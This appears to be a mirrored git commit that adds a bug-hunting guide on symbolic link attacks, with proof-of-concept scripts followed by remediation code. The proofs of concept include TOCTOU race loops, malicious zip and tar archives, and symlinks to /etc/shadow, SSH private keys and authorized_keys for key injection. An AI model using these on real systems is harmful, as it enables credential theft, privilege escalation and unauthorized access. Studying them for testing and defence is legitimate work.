mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 11:35:51 +00:00
Add timing attacks, Tor-based attacks, SSJI, symbolic link attacks, and enhanced auth bypass payloads
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
@@ -0,0 +1,628 @@
|
||||
# Symbolic Link Attacks (Symlink Attacks)
|
||||
|
||||
## Description
|
||||
Symbolic link attacks, also known as symlink attacks, exploit the behavior of symbolic links (symlinks) in file systems. A symbolic link is a file that points to another file or directory. Attackers can manipulate symlinks to trick applications into accessing, modifying, or deleting files they shouldn't have access to, leading to privilege escalation, information disclosure, or denial of service.
|
||||
|
||||
## How Symbolic Link Attacks Work
|
||||
When an application follows a symbolic link without proper validation:
|
||||
1. Attacker creates a symlink pointing to a sensitive file
|
||||
2. Application attempts to write/read to the symlink path
|
||||
3. Operation is performed on the target file instead
|
||||
4. Results in unauthorized file access, modification, or deletion
|
||||
|
||||
## Common Vulnerabilities
|
||||
|
||||
### 1. **Time-of-Check-Time-of-Use (TOCTOU)**
|
||||
Application checks file permissions, attacker replaces file with symlink before use.
|
||||
|
||||
### 2. **Insecure Temporary File Handling**
|
||||
Applications create predictable temp files that can be symlinked.
|
||||
|
||||
### 3. **Log File Symlink**
|
||||
Replacing log files with symlinks to sensitive files.
|
||||
|
||||
### 4. **Archive Extraction**
|
||||
Extracting archives containing malicious symlinks.
|
||||
|
||||
### 5. **File Upload Symlink**
|
||||
Uploading symlinks via file upload functionality.
|
||||
|
||||
### 6. **Configuration File Symlink**
|
||||
Symlinking configuration files to gain access or privileges.
|
||||
|
||||
### 7. **Backup/Restore Symlink**
|
||||
Exploiting backup processes that follow symlinks.
|
||||
|
||||
## Common Attack Vectors
|
||||
- Temporary file operations
|
||||
- Log file handling
|
||||
- File upload functionality
|
||||
- Archive extraction (tar, zip)
|
||||
- Backup/restore operations
|
||||
- Cache directories
|
||||
- Configuration file access
|
||||
- Web server document roots
|
||||
|
||||
## Testing Methodology & PoC Examples
|
||||
|
||||
### PoC 1: Basic Symlink Attack on Temp Files
|
||||
|
||||
**Vulnerability:** Application creates predictable temp files.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Identify temp file creation pattern
|
||||
2. Create symlink before application creates file
|
||||
3. Application writes to symlink, modifying target file
|
||||
|
||||
**Attack:**
|
||||
```bash
|
||||
# Attacker predicts temp file location
|
||||
# Application will create /tmp/app_12345.tmp
|
||||
|
||||
# Attacker creates symlink first
|
||||
ln -s /etc/passwd /tmp/app_12345.tmp
|
||||
|
||||
# When application writes to /tmp/app_12345.tmp,
|
||||
# it actually writes to /etc/passwd
|
||||
```
|
||||
|
||||
**Python Example:**
|
||||
```python
|
||||
import os
|
||||
import time
|
||||
|
||||
# Predict temporary file name
|
||||
temp_file = f"/tmp/app_{os.getpid()}.tmp"
|
||||
|
||||
# Create symlink to target
|
||||
os.symlink("/etc/shadow", temp_file)
|
||||
|
||||
# Wait for application to write to temp file
|
||||
# Application unknowingly writes to /etc/shadow
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PoC 2: TOCTOU Race Condition with Symlinks
|
||||
|
||||
**Vulnerability:** Time gap between checking and using a file.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Application checks if file is safe
|
||||
2. Attacker quickly replaces file with symlink
|
||||
3. Application uses the symlink
|
||||
|
||||
**Bash Script:**
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# Exploit TOCTOU vulnerability
|
||||
|
||||
TARGET="/path/to/sensitive/file"
|
||||
EXPLOITED="/path/to/app/data/file.txt"
|
||||
|
||||
while true; do
|
||||
# Remove existing file
|
||||
rm -f "$EXPLOITED" 2>/dev/null
|
||||
|
||||
# Create normal file (passes checks)
|
||||
touch "$EXPLOITED"
|
||||
|
||||
# Quickly replace with symlink
|
||||
rm -f "$EXPLOITED"
|
||||
ln -s "$TARGET" "$EXPLOITED"
|
||||
done
|
||||
```
|
||||
|
||||
**C Example:**
|
||||
```c
|
||||
// Vulnerable code
|
||||
if (access(filename, W_OK) == 0) {
|
||||
// RACE CONDITION WINDOW
|
||||
// Attacker can replace file with symlink here
|
||||
|
||||
FILE *fp = fopen(filename, "w");
|
||||
fprintf(fp, "sensitive data");
|
||||
fclose(fp);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PoC 3: Log File Symlink Attack
|
||||
|
||||
**Vulnerability:** Application writes to log files without checking for symlinks.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Identify log file location
|
||||
2. Replace log file with symlink to target
|
||||
3. Application logs trigger write to target file
|
||||
|
||||
**Attack:**
|
||||
```bash
|
||||
# Application writes to /var/log/app.log
|
||||
|
||||
# Attacker replaces log file
|
||||
rm /var/log/app.log
|
||||
ln -s /etc/passwd /var/log/app.log
|
||||
|
||||
# Application's log writes now corrupt /etc/passwd
|
||||
```
|
||||
|
||||
**Request to trigger logging:**
|
||||
```http
|
||||
POST /api/endpoint HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: application/json
|
||||
|
||||
```
|
||||
|
||||
**Result:** Log entry written to /etc/passwd instead of log file.
|
||||
|
||||
---
|
||||
|
||||
### PoC 4: Archive Extraction Symlink Attack (Zip Slip)
|
||||
|
||||
**Vulnerability:** Extracting archives containing malicious symlinks.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Create archive with symlinks pointing outside extraction directory
|
||||
2. Upload or provide archive to application
|
||||
3. Extraction follows symlinks, writing to unintended locations
|
||||
|
||||
**Creating Malicious Archive:**
|
||||
```bash
|
||||
# Create malicious tar archive
|
||||
mkdir evil
|
||||
cd evil
|
||||
ln -s /etc/passwd symlink.txt
|
||||
echo "evil content" > data.txt
|
||||
cd ..
|
||||
tar -czf evil.tar.gz evil/
|
||||
|
||||
# Or with absolute path symlink
|
||||
ln -s /etc/passwd /tmp/evil_symlink
|
||||
tar -czf evil.tar.gz /tmp/evil_symlink
|
||||
|
||||
# Zip with symlink
|
||||
ln -s ../../../etc/passwd symlink
|
||||
zip --symlinks evil.zip symlink
|
||||
```
|
||||
|
||||
**Python Script to Create Malicious Zip:**
|
||||
```python
|
||||
import zipfile
|
||||
import os
|
||||
|
||||
# Create zip with malicious symlink
|
||||
with zipfile.ZipFile('evil.zip', 'w') as zf:
|
||||
# Create symlink entry
|
||||
info = zipfile.ZipInfo('link')
|
||||
info.create_system = 3 # Unix
|
||||
info.external_attr = 0o120777 << 16 # Symlink
|
||||
zf.writestr(info, '../../../etc/passwd')
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PoC 5: File Upload Symlink Bypass
|
||||
|
||||
**Vulnerability:** File upload allows symlink creation.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Create symlink on local system
|
||||
2. Upload symlink file
|
||||
3. Access uploaded symlink to read target file
|
||||
|
||||
**Creating Symlink for Upload:**
|
||||
```bash
|
||||
# Create symlink to sensitive file
|
||||
ln -s /etc/passwd passwd_link.txt
|
||||
|
||||
# Upload passwd_link.txt via web form
|
||||
# If server preserves symlink and allows access:
|
||||
curl https://example.com/uploads/passwd_link.txt
|
||||
# Returns contents of /etc/passwd
|
||||
```
|
||||
|
||||
**Multipart Form Data:**
|
||||
```http
|
||||
POST /upload HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: multipart/form-data; boundary=----boundary
|
||||
|
||||
------boundary
|
||||
Content-Disposition: form-data; name="file"; filename="link.txt"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
<symlink binary data>
|
||||
------boundary--
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PoC 6: Configuration File Symlink
|
||||
|
||||
**Vulnerability:** Application reads configuration from predictable location.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Identify config file location
|
||||
2. Create symlink from config location to attacker-controlled file
|
||||
3. Application reads attacker's configuration
|
||||
|
||||
**Attack:**
|
||||
```bash
|
||||
# Application reads /etc/app/config.ini
|
||||
|
||||
# Attacker creates symlink
|
||||
rm /etc/app/config.ini
|
||||
ln -s /tmp/attacker_config.ini /etc/app/config.ini
|
||||
|
||||
# Attacker's config file
|
||||
cat > /tmp/attacker_config.ini << EOF
|
||||
[auth]
|
||||
admin_password=hacked
|
||||
debug_mode=true
|
||||
EOF
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PoC 7: Web Document Root Symlink
|
||||
|
||||
**Vulnerability:** Web server follows symlinks in document root.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Upload or create symlink in web root
|
||||
2. Access symlink via browser
|
||||
3. Read arbitrary files from server
|
||||
|
||||
**Attack:**
|
||||
```bash
|
||||
# Create symlink in web directory
|
||||
cd /var/www/html/uploads/
|
||||
ln -s /etc/passwd passwd.txt
|
||||
ln -s /home/user/.ssh/id_rsa key.txt
|
||||
|
||||
# Access via browser
|
||||
curl https://example.com/uploads/passwd.txt
|
||||
# Returns /etc/passwd contents
|
||||
```
|
||||
|
||||
**Apache Configuration Exploitation:**
|
||||
```apache
|
||||
# If Options FollowSymLinks is enabled
|
||||
<Directory /var/www/html>
|
||||
Options FollowSymLinks # Vulnerable!
|
||||
</Directory>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PoC 8: Backup Symlink Attack
|
||||
|
||||
**Vulnerability:** Backup process follows symlinks.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Identify backup process and source directory
|
||||
2. Create symlinks in backup source pointing to sensitive files
|
||||
3. Backup includes sensitive files
|
||||
|
||||
**Attack:**
|
||||
```bash
|
||||
# Application backs up /home/user/data/
|
||||
|
||||
# Attacker creates symlinks in data directory
|
||||
cd /home/user/data/
|
||||
ln -s /etc/shadow shadow_backup
|
||||
ln -s /root/.ssh/id_rsa root_key
|
||||
|
||||
# Backup process follows symlinks and includes sensitive files
|
||||
# Attacker extracts sensitive files from backup archive
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PoC 9: Cache Directory Symlink
|
||||
|
||||
**Vulnerability:** Application caches data in directory with weak permissions.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Identify cache directory
|
||||
2. Replace cache file with symlink
|
||||
3. Application writes cached data to target file
|
||||
|
||||
**Attack:**
|
||||
```bash
|
||||
# Application caches to /tmp/app_cache/user_123
|
||||
|
||||
# Attacker creates symlink
|
||||
rm -rf /tmp/app_cache/user_123
|
||||
ln -s /home/victim/.ssh/authorized_keys /tmp/app_cache/user_123
|
||||
|
||||
# Application writes cache data (containing attacker's SSH key)
|
||||
# to victim's authorized_keys file
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PoC 10: Symlink Directory Traversal
|
||||
|
||||
**Vulnerability:** Application accepts file paths without proper validation.
|
||||
|
||||
**Steps to Test:**
|
||||
1. Create symlink chain for directory traversal
|
||||
2. Use symlinks to access files outside intended directory
|
||||
|
||||
**Attack:**
|
||||
```bash
|
||||
# Create symlink chain
|
||||
mkdir -p /tmp/uploads/a/b/c
|
||||
cd /tmp/uploads
|
||||
ln -s / a/b/c/root
|
||||
|
||||
# Request file via application
|
||||
GET /api/download?file=a/b/c/root/etc/passwd
|
||||
# Application follows symlink to /etc/passwd
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Exploitation Techniques
|
||||
|
||||
### 1. **Privilege Escalation**
|
||||
```bash
|
||||
# Replace /etc/passwd with symlink to attacker-controlled file
|
||||
# When application writes to "passwd", it writes to attacker's file
|
||||
ln -s /tmp/attacker_passwd /etc/passwd
|
||||
```
|
||||
|
||||
### 2. **SSH Key Injection**
|
||||
```bash
|
||||
# Symlink authorized_keys
|
||||
ln -s /tmp/attacker_keys /home/victim/.ssh/authorized_keys
|
||||
# Application writes attacker's key to authorized_keys
|
||||
```
|
||||
|
||||
### 3. **Configuration Override**
|
||||
```bash
|
||||
# Symlink config file
|
||||
ln -s /tmp/evil_config /etc/app/app.conf
|
||||
```
|
||||
|
||||
### 4. **Arbitrary File Read**
|
||||
```bash
|
||||
# Symlink in web root
|
||||
ln -s /etc/passwd /var/www/html/exposed.txt
|
||||
```
|
||||
|
||||
### 5. **Arbitrary File Write**
|
||||
```bash
|
||||
# Symlink temp file to target
|
||||
ln -s /etc/crontab /tmp/app_temp_file
|
||||
```
|
||||
|
||||
### 6. **Denial of Service**
|
||||
```bash
|
||||
# Symlink to /dev/zero or /dev/random
|
||||
ln -s /dev/zero /var/log/app.log
|
||||
# Application hangs trying to read infinite data
|
||||
```
|
||||
|
||||
## Detection and Testing Tools
|
||||
|
||||
### 1. **Manual Testing**
|
||||
```bash
|
||||
# Check if symlinks are followed
|
||||
ln -s /etc/passwd test_link.txt
|
||||
# Upload and access test_link.txt
|
||||
|
||||
# Check temp file creation
|
||||
strace -e openat,open application 2>&1 | grep tmp
|
||||
```
|
||||
|
||||
### 2. **Automated Testing Script**
|
||||
```python
|
||||
import os
|
||||
import time
|
||||
import requests
|
||||
|
||||
def test_symlink_vulnerability(upload_url, access_url):
|
||||
# Create symlink to /etc/passwd
|
||||
symlink_name = "test_symlink.txt"
|
||||
os.symlink("/etc/passwd", symlink_name)
|
||||
|
||||
# Upload symlink
|
||||
with open(symlink_name, 'rb') as f:
|
||||
files = {'file': f}
|
||||
response = requests.post(upload_url, files=files)
|
||||
|
||||
# Try to access symlink
|
||||
response = requests.get(f"{access_url}/{symlink_name}")
|
||||
|
||||
if "root:" in response.text:
|
||||
print("[!] Symlink vulnerability confirmed!")
|
||||
print(response.text)
|
||||
else:
|
||||
print("[+] No vulnerability detected")
|
||||
|
||||
# Cleanup
|
||||
os.remove(symlink_name)
|
||||
```
|
||||
|
||||
### 3. **Archive Testing**
|
||||
```bash
|
||||
# Create test archive with symlink
|
||||
ln -s /etc/passwd testlink
|
||||
tar -czf test.tar.gz testlink
|
||||
|
||||
# Upload and extract
|
||||
# Check if extraction follows symlink
|
||||
```
|
||||
|
||||
### 4. **TOCTOU Race Condition Testing**
|
||||
```bash
|
||||
# Run in parallel
|
||||
while true; do
|
||||
rm -f target_file
|
||||
touch target_file
|
||||
rm -f target_file
|
||||
ln -s /etc/passwd target_file
|
||||
done &
|
||||
|
||||
# Meanwhile, trigger application to use target_file
|
||||
```
|
||||
|
||||
## Exploitation Impact
|
||||
|
||||
- **Critical:** Arbitrary file read/write, privilege escalation
|
||||
- **High:** SSH key injection, configuration manipulation
|
||||
- **Medium:** Information disclosure, DoS
|
||||
- **Data Breach:** Access to sensitive files (passwords, keys, configs)
|
||||
|
||||
## Remediation
|
||||
|
||||
### 1. **Never Follow Symlinks**
|
||||
```python
|
||||
# Bad - Follows symlinks
|
||||
with open(filename, 'r') as f:
|
||||
data = f.read()
|
||||
|
||||
# Good - Check for symlink first
|
||||
import os
|
||||
if os.path.islink(filename):
|
||||
raise Exception("Symlinks not allowed")
|
||||
with open(filename, 'r') as f:
|
||||
data = f.read()
|
||||
```
|
||||
|
||||
### 2. **Use O_NOFOLLOW Flag**
|
||||
```c
|
||||
// Open file without following symlinks
|
||||
int fd = open(filename, O_RDONLY | O_NOFOLLOW);
|
||||
if (fd == -1 && errno == ELOOP) {
|
||||
// File is a symlink
|
||||
printf("Symlink detected, access denied\n");
|
||||
}
|
||||
```
|
||||
|
||||
### 3. **Validate File Paths**
|
||||
```python
|
||||
import os
|
||||
import pathlib
|
||||
|
||||
def is_safe_path(basedir, path):
|
||||
# Resolve both paths
|
||||
base = pathlib.Path(basedir).resolve()
|
||||
target = pathlib.Path(path).resolve()
|
||||
|
||||
# Check if target is within basedir
|
||||
try:
|
||||
target.relative_to(base)
|
||||
return True
|
||||
except ValueError:
|
||||
return False
|
||||
```
|
||||
|
||||
### 4. **Use Secure Temporary Files**
|
||||
```python
|
||||
import tempfile
|
||||
|
||||
# Secure temp file creation
|
||||
with tempfile.NamedTemporaryFile(delete=False) as f:
|
||||
f.write(b"data")
|
||||
temp_filename = f.name
|
||||
```
|
||||
|
||||
### 5. **Disable Symlinks in Web Server**
|
||||
```apache
|
||||
# Apache
|
||||
<Directory /var/www/html>
|
||||
Options -FollowSymLinks
|
||||
</Directory>
|
||||
|
||||
# Nginx
|
||||
disable_symlinks on;
|
||||
```
|
||||
|
||||
### 6. **Check File Type Before Operations**
|
||||
```bash
|
||||
# Check if file is a regular file
|
||||
if [ -f "$file" ] && [ ! -L "$file" ]; then
|
||||
cat "$file"
|
||||
else
|
||||
echo "Not a regular file or is a symlink"
|
||||
fi
|
||||
```
|
||||
|
||||
### 7. **Use chroot or Containers**
|
||||
- Isolate application in restricted environment
|
||||
- Limit file system access
|
||||
|
||||
### 8. **Atomic Operations**
|
||||
```c
|
||||
// Use O_EXCL to fail if file exists
|
||||
int fd = open(filename, O_CREAT | O_EXCL | O_WRONLY, 0600);
|
||||
if (fd == -1) {
|
||||
perror("File already exists");
|
||||
exit(1);
|
||||
}
|
||||
```
|
||||
|
||||
### 9. **File Permission Checks**
|
||||
```python
|
||||
import os
|
||||
import stat
|
||||
|
||||
def is_safe_file(path):
|
||||
try:
|
||||
st = os.lstat(path) # lstat doesn't follow symlinks
|
||||
|
||||
# Check if it's a symlink
|
||||
if stat.S_ISLNK(st.st_mode):
|
||||
return False
|
||||
|
||||
# Check if it's a regular file
|
||||
if not stat.S_ISREG(st.st_mode):
|
||||
return False
|
||||
|
||||
return True
|
||||
except OSError:
|
||||
return False
|
||||
```
|
||||
|
||||
### 10. **Input Validation for Archives**
|
||||
```python
|
||||
import tarfile
|
||||
import os
|
||||
|
||||
def safe_extract(tar_path, extract_path):
|
||||
with tarfile.open(tar_path, 'r') as tar:
|
||||
for member in tar.getmembers():
|
||||
# Check for absolute paths
|
||||
if member.name.startswith('/'):
|
||||
raise Exception("Absolute path in archive")
|
||||
|
||||
# Check for path traversal
|
||||
if '..' in member.name:
|
||||
raise Exception("Path traversal in archive")
|
||||
|
||||
# Check if symlink
|
||||
if member.issym() or member.islnk():
|
||||
raise Exception("Symlinks not allowed in archive")
|
||||
|
||||
# Safe extraction
|
||||
tar.extract(member, extract_path)
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [CWE-59: Improper Link Resolution Before File Access](https://cwe.mitre.org/data/definitions/59.html)
|
||||
- [CWE-61: UNIX Symbolic Link Following](https://cwe.mitre.org/data/definitions/61.html)
|
||||
- [CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition](https://cwe.mitre.org/data/definitions/367.html)
|
||||
- [OWASP - Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
|
||||
- [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability)
|
||||
|
||||
## Payloads
|
||||
|
||||
See `symbolic-link-payloads.txt` for a comprehensive list of symlink attack payloads and techniques.
|
||||
See `symbolic-link-payloads.txt` for a comprehensive list of symlink attack payloads and techniques.
|
||||
Reference in New Issue
Block a user